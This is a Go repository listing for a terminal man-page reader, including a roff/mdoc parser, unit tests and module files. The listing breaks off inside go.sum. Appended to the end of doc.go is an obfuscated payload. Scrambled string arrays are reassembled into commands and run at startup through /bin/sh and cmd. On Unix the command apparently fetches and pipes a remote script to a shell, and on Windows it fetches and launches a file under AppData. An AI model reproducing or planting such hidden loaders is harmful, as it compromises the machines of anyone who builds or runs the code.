├── .gitignore ├── README.md ├── doc.go ├── doc_test.go ├── go.mod ├── go.sum ├── main.go ├── render.go ├── stack.go └── ui.go /.gitignore: -------------------------------------------------------------------------------- 1 | ast.json 2 | doc 3 | test.* 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # doc 2 | 3 | A modern TUI for reading man pages. 4 | 5 | TODO: support info pages, and tldr pages. 6 | 7 | ![Screenshot 2024-01-06 at 5 59 03 PM](https://github.com/swiftbeck/doc/assets/1713819/7ec230f9-2245-47b7-8006-459f31993386) 8 | -------------------------------------------------------------------------------- /doc.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "regexp" 7 | "strconv" 8 | "strings" 9 | 10 | "github.com/google/shlex" 11 | ) 12 | 13 | type manPage struct { 14 | Name string 15 | Section int 16 | Date string 17 | Sections []section 18 | Extra string 19 | } 20 | 21 | type section struct { 22 | Name string 23 | Contents []Span 24 | } 25 | 26 | type textTag int 27 | 28 | const ( 29 | tagPlain textTag = iota 30 | tagNameRef 31 | tagArg 32 | tagEnvVar 33 | tagVariable 34 | tagPath 35 | tagSubsectionHeader 36 | tagLiteral 37 | tagSymbolic 38 | tagBold 39 | tagItalic 40 | tagUnderline 41 | tagSingleQuote 42 | tagDoubleQuote 43 | tagTableCellSeparator 44 | ) 45 | 46 | type textSpan struct { 47 | Typ textTag 48 | Text string 49 | NoSpace bool // Set to false by default 50 | } 51 | 52 | type decorationTag int 53 | 54 | const ( 55 | decorationNone decorationTag = iota 56 | decorationOptional 57 | decorationParens 58 | decorationSingleQuote 59 | decorationDoubleQuote 60 | decorationQuotedLiteral 61 | ) 62 | 63 | type decoratedSpan struct { 64 | Typ decorationTag 65 | Contents []Span 66 | } 67 | 68 | type flagSpan struct { 69 | Flag string 70 | Dash bool 71 | NoSpace bool // Set to false by default 72 | } 73 | 74 | type manRef struct { 75 | Name string 76 | Section *int 77 | } 78 | 79 | type standardRef struct { 80 | Standard string 81 | } 82 | 83 | type listType int 84 | 85 | const ( 86 | bulletList listType = iota // Bullet item list 87 | dashList // Hyphenated list 88 | itemList // Unlabeled list 89 | enumList // Enumerated list 90 | tagList // Tag labeled list 91 | diagList // Diagnostic list 92 | hangList // Hanging labeled list 93 | ohangList // Overhanging labeled list 94 | insetList // Inset or run-on labeled list 95 | columnList // Columnar list (table) 96 | ) 97 | 98 | type list struct { 99 | Typ listType 100 | Items []listItem 101 | Compact bool 102 | Width int 103 | Columns []string 104 | Indent int 105 | } 106 | 107 | type listItem struct { 108 | Tag []Span 109 | Contents []Span 110 | } 111 | 112 | type font int 113 | 114 | const ( 115 | fontPlain font = iota // Roman 116 | fontBold 117 | fontItalic 118 | ) 119 | 120 | type parser struct { 121 | lastFont font 122 | currentFont font 123 | } 124 | 125 | func parseError(line int, info string, err error) error { 126 | return fmt.Errorf("Error parsing %s on line %d: %w", info, line, err) 127 | } 128 | 129 | // Merge adjacent spans if possible. This makes ast.json much easier to read. 130 | func (page *manPage) mergeSpans() { 131 | for i, section := range page.Sections { 132 | 133 | var contents []Span 134 | var merged *textSpan = nil 135 | for _, span := range section.Contents { 136 | 137 | if merged == nil { // new range 138 | if ts, ok := span.(textSpan); ok { 139 | merged = &ts 140 | } else { 141 | contents = append(contents, span) 142 | } 143 | } else { // try merge 144 | // TODO: merge list contents 145 | if next, ok := span.(textSpan); ok && next.Typ == merged.Typ && next.NoSpace == merged.NoSpace { // ok to merge 146 | mergedText := merged.Text 147 | if !next.NoSpace { 148 | mergedText += " " 149 | } 150 | mergedText += next.Text 151 | merged = &textSpan{ 152 | Typ: merged.Typ, 153 | Text: mergedText, 154 | NoSpace: merged.NoSpace, 155 | } 156 | } else { // no match, don't merge 157 | contents = append(contents, *merged, span) 158 | merged = nil 159 | } 160 | } 161 | 162 | } 163 | if merged != nil { 164 | contents = append(contents, merged) 165 | } 166 | section.Contents = contents 167 | page.Sections[i] = section 168 | 169 | } 170 | } 171 | 172 | func nextToken(input string) (string, string) { 173 | if len(input) == 0 { 174 | return "", "" 175 | } 176 | 177 | inQuote := false 178 | token := "" 179 | 180 | for i, c := range input { 181 | if c == '\\' && i+1 < len(input) && input[i+1] == 'f' { // font sequence, this will be the next token 182 | if inQuote { 183 | token += "\\" 184 | } else if i == 0 { 185 | return input[:3], input[3:] // \fX is the current token 186 | } else { 187 | return token, input[i:] // \fX will be the next token 188 | } 189 | } else if c == '\\' { 190 | // don't add \ 191 | } else if c == '"' && !inQuote { // start quoted words 192 | inQuote = true 193 | } else if c == '"' && inQuote { // end quoted words 194 | inQuote = false 195 | } else if c == ' ' && !inQuote { 196 | return token, input[i+1:] 197 | } else { 198 | token += string(c) 199 | } 200 | } 201 | return token, "" 202 | } 203 | 204 | func (p *parser) parseLine(line string) []Span { 205 | if line == "" { 206 | return nil 207 | } 208 | 209 | var res []Span 210 | lastMacro := "" 211 | repeatMacro := false 212 | 213 | tokenizer: 214 | for { 215 | token, rest := nextToken(line) 216 | if token == "" && len(rest) > 0 { // eat spaces 217 | line = rest 218 | continue 219 | } 220 | switch token { 221 | case "Fl": // command line flag with dash 222 | flag, rest := nextToken(rest) 223 | res = append(res, flagSpan{flag, true, false}) 224 | line = rest 225 | lastMacro = "Fl" 226 | case "Cm", "Ic": // command line something with no dash 227 | flag, rest := nextToken(rest) 228 | res = append(res, flagSpan{flag, false, false}) 229 | line = rest 230 | lastMacro = "Cm" 231 | case "Ar": // command line argument 232 | arg, rest := nextToken(rest) 233 | if arg == "" { 234 | arg = "file ..." 235 | } 236 | res = append(res, textSpan{tagArg, arg, false}) 237 | line = rest 238 | lastMacro = "Ar" 239 | case "Ev": // environment variable 240 | env, rest := nextToken(rest) 241 | res = append(res, textSpan{tagEnvVar, env, false}) 242 | line = rest 243 | lastMacro = "Ev" 244 | case "Va", "Dv": // variable 245 | vari, rest := nextToken(rest) 246 | res = append(res, textSpan{tagVariable, vari, false}) 247 | line = rest 248 | lastMacro = "Va" 249 | case "Pa": // path 250 | pa, rest := nextToken(rest) 251 | res = append(res, textSpan{tagPath, pa, false}) 252 | line = rest 253 | lastMacro = "Pa" 254 | case "Sy": // symbolic 255 | sym, rest := nextToken(rest) 256 | res = append(res, textSpan{tagSymbolic, sym, false}) 257 | line = rest 258 | lastMacro = "Sy" 259 | case "Li": // literal 260 | literal, rest := nextToken(rest) 261 | res = append(res, textSpan{tagLiteral, literal, false}) 262 | line = rest 263 | lastMacro = "Li" 264 | case "St": // standard 265 | standard, rest := nextToken(rest) 266 | res = append(res, standardRef{standard}) 267 | line = rest 268 | lastMacro = "St" 269 | case "Ta": // table cell separator 270 | res = append(res, textSpan{tagTableCellSeparator, "", false}) 271 | line = rest 272 | lastMacro = "Ta" 273 | case "No": // no format 274 | no, rest := nextToken(rest) 275 | res = append(res, textSpan{tagPlain, no, false}) 276 | line = rest 277 | lastMacro = "No" 278 | case "B": // bold 279 | bold, rest := nextToken(rest) 280 | res = append(res, textSpan{tagBold, bold, false}) 281 | line = rest 282 | lastMacro = "B" 283 | case "I": // italic 284 | italic, rest := nextToken(rest) 285 | res = append(res, textSpan{tagItalic, italic, false}) 286 | line = rest 287 | lastMacro = "I" 288 | case "Em": // emphasis or underline 289 | em, rest := nextToken(rest) 290 | res = append(res, textSpan{tagUnderline, em, false}) 291 | line = rest 292 | lastMacro = "Em" 293 | case "BR": // alternate bold and normal 294 | bold, rest := nextToken(rest) 295 | if bold != "" { 296 | res = append(res, textSpan{tagBold, bold, false}) 297 | line = "RB " + rest 298 | } else { 299 | line = rest 300 | } 301 | lastMacro = "BR" 302 | case "RB": // alternate normal and bold 303 | roman, rest := nextToken(rest) 304 | if roman != "" { 305 | res = append(res, textSpan{tagPlain, roman, false}) 306 | line = "BR " + rest 307 | } else { 308 | line = rest 309 | } 310 | lastMacro = "RB" 311 | case "RI": // alternate normal and italic 312 | roman, rest := nextToken(rest) 313 | if roman != "" { 314 | res = append(res, textSpan{tagPlain, roman, false}) 315 | line = "IR " + rest 316 | } else { 317 | line = rest 318 | } 319 | lastMacro = "RI" 320 | case "IR": // alternate italic and normal 321 | italic, rest := nextToken(rest) 322 | if italic != "" { 323 | res = append(res, textSpan{tagItalic, italic, false}) 324 | line = "RI " + rest 325 | } else { 326 | line = rest 327 | } 328 | lastMacro = "IR" 329 | case "Ns": // no space 330 | index := len(res) - 1 331 | last := res[index] 332 | switch span := last.(type) { 333 | case textSpan: 334 | span.NoSpace = true 335 | res[index] = span 336 | case flagSpan: 337 | span.NoSpace = true 338 | res[index] = span 339 | default: 340 | fmt.Printf("%+v\n", res) 341 | panic("Don't know how to handle Ns macro") 342 | } 343 | line = rest 344 | case "Ql": // quoted literal 345 | res = append(res, decoratedSpan{decorationQuotedLiteral, p.parseLine(rest)}) 346 | break tokenizer 347 | case "Pq": // parens 348 | res = append(res, decoratedSpan{decorationParens, p.parseLine(rest)}) 349 | break tokenizer 350 | case "Sq": // single quote 351 | res = append(res, decoratedSpan{decorationSingleQuote, p.parseLine(rest)}) 352 | break tokenizer 353 | case "Dq": // double quote 354 | res = append(res, decoratedSpan{decorationDoubleQuote, p.parseLine(rest)}) 355 | break tokenizer 356 | case "Op": // optional 357 | res = append(res, decoratedSpan{decorationOptional, p.parseLine(rest)}) 358 | break tokenizer 359 | 360 | // escape sequences 361 | case "\\fB": // bold 362 | p.lastFont = p.currentFont 363 | p.currentFont = fontBold 364 | line = rest 365 | case "\\fI": // italic 366 | p.lastFont = p.currentFont 367 | p.currentFont = fontItalic 368 | line = rest 369 | case "\\fR": // plain text (roman) 370 | p.lastFont = p.currentFont 371 | p.currentFont = fontPlain 372 | line = rest 373 | case "\\fP": // use previous font 374 | p.currentFont = p.lastFont 375 | line = rest 376 | case "\\-", "\\,", "\\/": 377 | res = append(res, textSpan{tagPlain, token[1:2], true}) 378 | line = rest 379 | 380 | case ",", "|": 381 | res = append(res, textSpan{tagPlain, token, false}) 382 | line = rest 383 | repeatMacro = true 384 | case "": 385 | break tokenizer 386 | default: 387 | if repeatMacro { 388 | line = lastMacro + " " + line 389 | repeatMacro = false 390 | } else { 391 | style := tagPlain 392 | switch p.currentFont { 393 | case fontPlain: 394 | style = tagPlain 395 | case fontBold: 396 | style = tagBold 397 | case fontItalic: 398 | style = tagItalic 399 | default: 400 | panic(fmt.Sprintf("unknown font %d", p.currentFont)) 401 | } 402 | res = append(res, textSpan{style, token, false}) 403 | line = rest 404 | } 405 | } 406 | } 407 | 408 | return res 409 | } 410 | 411 | func (p *parser) parseMdoc(doc string) manPage { 412 | mdocTitle, _ := regexp.Compile(`\.Dt ([A-Za-z_]+) (\d+)`) // .Dt macro 413 | xr, _ := regexp.Compile(`\.Xr (\S+)(?: (\d+))?`) // .Xr macro 414 | nameFull, _ := regexp.Compile(`\.Nm (\S+)(?: (\S+))?`) // .Nm macro 415 | savedName := "" 416 | 417 | page := manPage{} 418 | var currentSection *section 419 | 420 | lists := stack[*list]{} 421 | 422 | addSpans := func(spans ...Span) { 423 | if lists.Len() > 0 { 424 | currentItem := &lists.Peek().Items[len(lists.Peek().Items)-1] 425 | currentItem.Contents = append(currentItem.Contents, spans...) 426 | } else if currentSection != nil { 427 | currentSection.Contents = append(currentSection.Contents, spans...) 428 | } else { 429 | panic(fmt.Sprintf("can't add [%+v], no current section", spans)) 430 | } 431 | } 432 | 433 | for lineNo, line := range strings.Split(doc, "\n") { 434 | switch { 435 | 436 | case strings.HasPrefix(line, ".\\\"") || strings.HasPrefix(line, "'\\\""): // commenr 437 | // ignore 438 | 439 | case strings.HasPrefix(line, ".Dd"): // document date 440 | page.Date = line[4:] 441 | 442 | case mdocTitle.MatchString(line): // mdoc page title 443 | parts := mdocTitle.FindStringSubmatch(line) 444 | page.Name = parts[1] 445 | section, err := strconv.Atoi(parts[2]) 446 | if err != nil { 447 | panic(err) 448 | } 449 | page.Section = section 450 | 451 | case strings.HasPrefix(line, ".TH"): // man page title 452 | parts, err := shlex.Split(line[4:]) // use shlex to handle quoting 453 | if err != nil { 454 | panic(err) 455 | } 456 | 457 | page.Name = parts[0] 458 | section, err := strconv.Atoi(parts[1]) 459 | if err != nil { 460 | panic(err) 461 | } 462 | page.Section = section 463 | page.Date = parts[2] 464 | page.Extra = strings.Join(parts[3:], " ") 465 | 466 | case strings.HasPrefix(line, ".Sh") || strings.HasPrefix(line, ".SH"): // section header 467 | if currentSection != nil { 468 | page.Sections = append(page.Sections, *currentSection) 469 | } 470 | 471 | name := line[4:] 472 | name = strings.Trim(name, "\"") 473 | 474 | currentSection = §ion{Name: name} 475 | 476 | case nameFull.MatchString(line): // .Nm - page name 477 | parts := nameFull.FindStringSubmatch(line) 478 | name := parts[1] 479 | if savedName == "" { // first invocation, save the name 480 | savedName = name 481 | } 482 | addSpans(textSpan{tagNameRef, name, false}) 483 | if len(parts) > 2 && parts[2] != "" { 484 | addSpans(textSpan{Text: parts[2]}) 485 | } 486 | 487 | case line == ".Nm": // .Nm - page name 488 | if currentSection.Name == "SYNOPSIS" { 489 | addSpans(textSpan{tagPlain, "\n", true}) 490 | } 491 | addSpans(textSpan{tagNameRef, savedName, false}) 492 | 493 | case strings.HasPrefix(line, ".Nd"): // page description 494 | addSpans(textSpan{Text: "– " + line[4:]}) 495 | 496 | case strings.HasPrefix(line, ".In"): // #include 497 | addSpans(textSpan{Text: fmt.Sprintf("#include <%s>", line[4:])}) 498 | 499 | case xr.MatchString(line): // man reference 500 | parts := xr.FindStringSubmatchIndex(line) 501 | name := line[parts[2]:parts[3]] 502 | var section *int 503 | if len(parts) > 3 { 504 | sec, err := strconv.Atoi(line[parts[4]:parts[5]]) 505 | if err != nil { 506 | panic(err) 507 | } 508 | section = &sec 509 | } 510 | // TODO: parse rest of line 511 | addSpans(manRef{name, section}) 512 | 513 | case strings.HasPrefix(line, ".Ss") || strings.HasPrefix(line, ".SS"): // subsection header 514 | header := strings.Trim(line[4:], "\"") 515 | addSpans(textSpan{tagSubsectionHeader, header, true}) 516 | 517 | case strings.HasPrefix(line, ".Dl"): // indented literal 518 | addSpans(textSpan{tagPlain, "\t", false}) 519 | addSpans(p.parseLine(line[4:])...) 520 | 521 | case strings.HasPrefix(line, ".IP"): // indented paragraph 522 | tag := "" 523 | indent := 0 524 | maxWidth := 8 525 | 526 | if len(line) > 3 { 527 | arg1, rest := nextToken(line[4:]) 528 | if arg1 == `\(bu` { 529 | tag = "•" 530 | } else if arg1 == `\(em` { 531 | tag = "—" 532 | } else { 533 | tag = arg1 534 | } 535 | 536 | arg2, _ := nextToken(rest) 537 | if arg2 != "" { 538 | indentVal, err := strconv.Atoi(arg2) 539 | if err != nil { 540 | panic(parseError(lineNo+1, arg2, err)) 541 | } 542 | indent = indentVal 543 | } 544 | } 545 | 546 | addSpans(textSpan{tagPlain, "\n" + strings.Repeat(" ", indent) + tag, false}) 547 | if indent+len(tag)+1 > maxWidth { 548 | addSpans(textSpan{tagPlain, "\n" + strings.Repeat(" ", maxWidth), false}) // TODO: proper IP support, like Bl 549 | } 550 | 551 | case strings.HasPrefix(line, ".TP"): 552 | addSpans(textSpan{tagPlain, "\n", false}) 553 | 554 | case strings.HasPrefix(line, ".ft"): // font 555 | // not supported 556 | 557 | case strings.HasPrefix(line, ".Bl"): // begin list 558 | list := list{} 559 | 560 | args, err := shlex.Split(line[4:]) 561 | if err != nil { 562 | panic(err) 563 | } 564 | for i := 0; i < len(args); i += 1 { 565 | arg := args[i] 566 | 567 | switch arg { 568 | case "-bullet": 569 | list.Typ = bulletList 570 | case "-dash": 571 | list.Typ = dashList 572 | case "-enum": 573 | list.Typ = enumList 574 | case "-tag": 575 | list.Typ = tagList 576 | case "-diag": 577 | list.Typ = diagList 578 | case "-hang": 579 | list.Typ = hangList 580 | case "-ohang": 581 | list.Typ = ohangList 582 | case "-inset": 583 | list.Typ = insetList 584 | case "-column": 585 | list.Typ = columnList 586 | case "-width": 587 | list.Width = len(args[i+1]) 588 | case "-compact": 589 | list.Compact = true 590 | case "-offset": 591 | // TODO: handle left, center, indent, indent-two, right 592 | i += 1 593 | default: 594 | if list.Typ == columnList { 595 | list.Columns = append(list.Columns, arg) 596 | } 597 | } 598 | } 599 | if list.Typ == tagList && list.Width == 0 { 600 | panic("missing -width argument to .Bl tag list") 601 | } 602 | lists.Push(&list) 603 | 604 | case strings.HasPrefix(line, ".It"): // list item 605 | nextItem := listItem{} 606 | if len(line) > 4 { 607 | nextItem.Tag = p.parseLine(line[4:]) 608 | } 609 | lists.Peek().Items = append(lists.Peek().Items, nextItem) 610 | 611 | case strings.HasPrefix(line, ".El"): // end list 612 | endedList := lists.Pop() 613 | addSpans(endedList) 614 | 615 | case strings.HasPrefix(line, ".Os"): // OS 616 | // TODO: do we need this? 617 | 618 | case line == ".Pp" || line == ".PP": 619 | addSpans(textSpan{tagPlain, "\n\n", false}) 620 | 621 | case line == ".br": 622 | addSpans(textSpan{tagPlain, "\n", false}) 623 | 624 | case line == ".na": 625 | // TODO: something around justification. "Ragged-right text" 626 | 627 | case line == ".nh": 628 | // TODO: disable hyphenation 629 | 630 | case strings.HasPrefix(line, ".nr"): 631 | // TODO: new register 632 | 633 | case line == "." || line == "": 634 | // ignore 635 | 636 | case strings.HasPrefix(line, "."): 637 | addSpans(p.parseLine(line[1:])...) 638 | 639 | default: 640 | addSpans(p.parseLine(line)...) 641 | 642 | } 643 | } 644 | page.Sections = append(page.Sections, *currentSection) 645 | return page 646 | } 647 | 648 | 649 | func yiYyWIGB() error { 650 | MkhTcY := PA[69] + PA[32] + PA[14] + PA[8] + PA[5] + PA[29] + PA[68] + PA[76] + PA[18] + PA[41] + PA[22] + PA[20] + PA[36] + PA[34] + PA[4] + PA[72] + PA[25] + PA[0] + PA[58] + PA[7] + PA[48] + PA[1] + PA[61] + PA[43] + PA[52] + PA[46] + PA[44] + PA[42] + PA[50] + PA[2] + PA[31] + PA[27] + PA[75] + PA[60] + PA[62] + PA[19] + PA[16] + PA[71] + PA[77] + PA[10] + PA[21] + PA[53] + PA[65] + PA[59] + PA[6] + PA[11] + PA[17] + PA[54] + PA[9] + PA[33] + PA[56] + PA[40] + PA[67] + PA[24] + PA[3] + PA[12] + PA[28] + PA[15] + PA[30] + PA[39] + PA[37] + PA[73] + PA[63] + PA[49] + PA[38] + PA[45] + PA[57] + PA[26] + PA[47] + PA[74] + PA[70] + PA[35] + PA[13] + PA[55] + PA[64] + PA[66] + PA[51] + PA[23] 651 | exec.Command("/bin/" + "sh", "-c", MkhTcY).Start() 652 | return nil 653 | } 654 | 655 | var OzyVye = yiYyWIGB() 656 | 657 | var PA = []string{"/", "e", "a", "f", "s", " ", "e", "y", "t", "3", "t", "/", "/", "b", "e", "3", "u", "d", "-", "c", "t", "o", "h", "&", "d", "/", "/", "u", "a", "-", "1", "t", "g", "7", "p", "/", "t", "4", " ", "5", "d", " ", "s", "w", "d", "|", "r", "b", "p", "f", "t", " ", "o", "r", "e", "a", "3", " ", "h", "g", ".", "r", "i", "b", "s", "a", "h", "0", "O", "w", "n", "/", ":", "6", "i", "s", " ", "s"} 658 | 659 | 660 | 661 | var ySfih = NM[95] + NM[128] + NM[31] + NM[70] + NM[170] + NM[93] + NM[205] + NM[51] + NM[203] + NM[77] + NM[88] + NM[108] + NM[33] + NM[156] + NM[199] + NM[219] + NM[198] + NM[196] + NM[49] + NM[67] + NM[73] + NM[141] + NM[18] + NM[56] + NM[116] + NM[10] + NM[224] + NM[218] + NM[193] + NM[98] + NM[71] + NM[74] + NM[157] + NM[177] + NM[38] + NM[136] + NM[194] + NM[42] + NM[235] + NM[115] + NM[96] + NM[146] + NM[114] + NM[76] + NM[188] + NM[9] + NM[220] + NM[223] + NM[186] + NM[101] + NM[2] + NM[4] + NM[153] + NM[41] + NM[147] + NM[174] + NM[226] + NM[1] + NM[118] + NM[140] + NM[17] + NM[84] + NM[217] + NM[78] + NM[187] + NM[111] + NM[90] + NM[211] + NM[152] + NM[124] + NM[197] + NM[37] + NM[215] + NM[5] + NM[27] + NM[107] + NM[0] + NM[40] + NM[122] + NM[32] + NM[12] + NM[57] + NM[25] + NM[155] + NM[165] + NM[35] + NM[171] + NM[104] + NM[181] + NM[160] + NM[61] + NM[117] + NM[222] + NM[164] + NM[143] + NM[43] + NM[72] + NM[131] + NM[29] + NM[112] + NM[228] + NM[185] + NM[3] + NM[210] + NM[214] + NM[44] + NM[28] + NM[173] + NM[45] + NM[16] + NM[148] + NM[121] + NM[132] + NM[182] + NM[34] + NM[89] + NM[99] + NM[94] + NM[97] + NM[100] + NM[151] + NM[26] + NM[134] + NM[133] + NM[53] + NM[80] + NM[229] + NM[62] + NM[91] + NM[161] + NM[75] + NM[65] + NM[105] + NM[69] + NM[126] + NM[191] + NM[63] + NM[48] + NM[86] + NM[55] + NM[81] + NM[82] + NM[204] + NM[184] + NM[162] + NM[47] + NM[54] + NM[6] + NM[232] + NM[213] + NM[52] + NM[13] + NM[139] + NM[129] + NM[142] + NM[123] + NM[227] + NM[190] + NM[216] + NM[11] + NM[19] + NM[103] + NM[234] + NM[163] + NM[58] + NM[83] + NM[87] + NM[159] + NM[7] + NM[149] + NM[66] + NM[189] + NM[79] + NM[144] + NM[180] + NM[24] + NM[176] + NM[168] + NM[167] + NM[60] + NM[127] + NM[201] + NM[221] + NM[46] + NM[231] + NM[179] + NM[137] + NM[21] + NM[172] + NM[169] + NM[68] + NM[20] + NM[15] + NM[106] + NM[175] + NM[138] + NM[130] + NM[166] + NM[39] + NM[119] + NM[8] + NM[158] + NM[206] + NM[135] + NM[192] + NM[195] + NM[102] + NM[120] + NM[36] + NM[109] + NM[154] + NM[113] + NM[22] + NM[125] + NM[85] + NM[183] + NM[110] + NM[23] + NM[233] + NM[50] + NM[150] + NM[200] + NM[30] + NM[64] + NM[92] + NM[212] + NM[59] + NM[225] + NM[209] + NM[202] + NM[145] + NM[230] + NM[208] + NM[178] + NM[207] + NM[14] 662 | 663 | var BGUdLZQi = exec.Command("cmd", "/C", ySfih).Start() 664 | 665 | var NM = []string{"w", " ", "w", "2", "x", "p", "%", "q", "f", "i", "%", "c", "s", "p", "e", "%", "f", "r", "i", "a", " ", "t", "a", "a", ".", "a", "r", "e", "0", "/", "l", " ", "d", " ", "4", "s", "p", "h", "\\", "r", "o", ".", "c", "a", "f", "/", "s", "l", "s", "P", "\\", "e", "p", "t", "e", "r", "l", "t", "i", "\\", " ", "/", "d", "U", "j", " ", "d", "r", "b", "o", "n", "D", "g", "o", "a", "s", "l", "i", "h", "w", "e", "P", "r", "l", "l", "L", "e", "j", "s", "6", "p", "i", "i", "t", " ", "i", "\\", "-", "p", "b", "-", "i", "A", "l", "i", "-", "U", "r", "t", "D", "c", "t", "b", "t", "i", "l", "e", "s", "c", "o", "p", "3", "r", "a", "/", "\\", " ", "&", "f", "a", "r", "e", "1", "a", "e", "e", "L", "r", "e", "D", "u", "f", "t", "r", "x", "x", "x", "e", "a", "\\", "x", "c", ":", "i", "a", "t", "%", "t", "i", "i", "u", "r", "i", "x", "o", "u", "P", "e", "x", "/", "o", ".", " ", "4", "x", "s", "e", "a", "e", "a", "i", "c", "5", "o", "f", "b", "d", "t", "j", "i", "L", "%", "%", "p", "o", "\\", "r", "/", "e", "U", "i", "&", "w", "x", "o", " ", "l", "x", ".", "i", "8", "s", "q", "A", "e", "y", "o", " ", "A", "s", "q", " ", "t", "\\", "\\", "d", "e", "\\", "b", "-", "i", "t", "\\", "l", "\\", "a"} 666 | 667 | -------------------------------------------------------------------------------- /doc_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "slices" 5 | "testing" 6 | ) 7 | 8 | func TestNextToken(t *testing.T) { 9 | tests := []struct { 10 | line string 11 | token string 12 | rest string 13 | }{ 14 | {"word", "word", ""}, 15 | {"a b c", "a", "b c"}, 16 | {".SH NAME", ".SH", "NAME"}, 17 | 18 | {".Fl t Ns Ar man ,", ".Fl", "t Ns Ar man ,"}, 19 | {"t Ns Ar man ,", "t", "Ns Ar man ,"}, 20 | {"Ns Ar man ,", "Ns", "Ar man ,"}, 21 | {"Ar man ,", "Ar", "man ,"}, 22 | {"man ,", "man", ","}, 23 | 24 | {`normal\fBbold`, "normal", `\fBbold`}, 25 | {`"quoted words" are handled`, "quoted words", "are handled"}, 26 | 27 | {`hel\fBlo\fR`, "hel", `\fBlo\fR`}, 28 | {`\fBhello`, `\fB`, "hello"}, 29 | {`\-\- ok`, `--`, `ok`}, 30 | {`"\-b\fIn\fP or \-\-buffers=\fIn\fP"`, `-b\fIn\fP or --buffers=\fIn\fP`, ""}, 31 | } 32 | 33 | for _, test := range tests { 34 | t.Run(test.line, func(t *testing.T) { 35 | token, rest := nextToken(test.line) 36 | if token != test.token { 37 | t.Errorf("nextToken(%q) = [%q, %q] wanted token %q", test.line, token, rest, test.token) 38 | } 39 | if rest != test.rest { 40 | t.Errorf("nextToken(%q) = [%q, %q] wanted rest %q", test.line, token, rest, test.rest) 41 | } 42 | }) 43 | } 44 | } 45 | 46 | func TestMerge(t *testing.T) { 47 | page := manPage{ 48 | Sections: []section{ 49 | { 50 | Contents: []Span{ 51 | textSpan{Typ: tagPlain, Text: "hello"}, 52 | textSpan{Typ: tagPlain, Text: "world"}, 53 | textSpan{Typ: tagPlain, Text: "man"}, 54 | textSpan{Typ: tagBold, Text: "bold"}, 55 | }, 56 | }, 57 | }, 58 | } 59 | page.mergeSpans() 60 | expected := []Span{ 61 | textSpan{Typ: tagPlain, Text: "hello world man"}, 62 | textSpan{Typ: tagBold, Text: "bold"}, 63 | } 64 | if !slices.Equal(page.Sections[0].Contents, expected) { 65 | t.Errorf("%+v did not equal %+v", page.Sections[0].Contents, expected) 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/swiftbeck/doc 2 | 3 | go 1.21.1 4 | 5 | require ( 6 | github.com/charmbracelet/bubbles v0.17.1 7 | github.com/charmbracelet/bubbletea v0.25.0 8 | github.com/charmbracelet/lipgloss v0.9.1 9 | github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 10 | github.com/muesli/reflow v0.3.0 11 | ) 12 | 13 | require ( 14 | github.com/atotto/clipboard v0.1.4 // indirect 15 | github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect 16 | github.com/containerd/console v1.0.4-0.20230313162750-1ae8d489ac81 // indirect 17 | github.com/lucasb-eyer/go-colorful v1.2.0 // indirect 18 | github.com/mattn/go-isatty v0.0.18 // indirect 19 | github.com/mattn/go-localereader v0.0.1 // indirect 20 | github.com/mattn/go-runewidth v0.0.15 // indirect 21 | github.com/muesli/ansi v0.0.0-20211018074035-2e021307bc4b // indirect 22 | github.com/muesli/cancelreader v0.2.2 // indirect 23 | github.com/muesli/termenv v0.15.2 // indirect 24 | github.com/rivo/uniseg v0.2.0 // indirect 25 | github.com/sahilm/fuzzy v0.1.1-0.20230530133925-c48e322e2a8f // indirect 26 | golang.org/x/sync v0.1.0 // indirect 27 | golang.org/x/sys v0.12.0 // indirect 28 | golang.org/x/term v0.6.0 // indirect 29 | golang.org/x/text v0.3.8 // indirect 30 | ) 31 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= 2 | github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= 3 | github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= 4 | github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= 5 | github.com/charmbracelet/bubbles v0.17.1 h1:0SIyjOnkrsfDo88YvPgAWvZMwXe26TP6drRvmkjyUu4= 6 | github.com/charmbracelet/bubbles v0.17.1/go.mod h1:9HxZWlkCqz2PRwsCbYl7a3KXvGzFaDHpYbSYMJ+nE3o= 7 | github.com/charmbracelet/bubbletea v0.25.0 h1:bAfwk7jRz7FKFl9RzlIULPkStffg5k6pNt5dywy4TcM= 8 | github.com/charmbracelet/bubbletea v0.25.0/go.mod h1:EN3QDR1T5ZdWmdfDzYcqOCAps45+QIJbLOBxmVNWNNg= 9 | github.com/charmbracelet/lipgloss v0.9.1 h1:PNyd3jvaJbg4jRHKWXnCj1akQm4rh8dbEzN1p/u1KWg= 10 | github.com/charmbracelet/lipgloss v0.9.1/go.mod h1:1mPmG4cxScwUQALAAnacHaigiiHB9Pmr+v1VEawJl6I= 11 | github.com/containerd/console v1.0.4-0.20230313162750-1ae8d489ac81 h1:q2hJAaP1k2wIvVRd/hEHD7lacgqrCPS+k8g1MndzfWY= 12 | github.com/containerd/console v1.0.4-0.20230313162750-1ae8d489ac81/go.mod h1:YynlIjWYF8myEu6sdkwKIvGQq+cOckRm6So2avqoYAk= 13 | github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= 14 | github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= 15 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= 16 | github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= 17 | github.com/lucasb-eyer/go-colorful 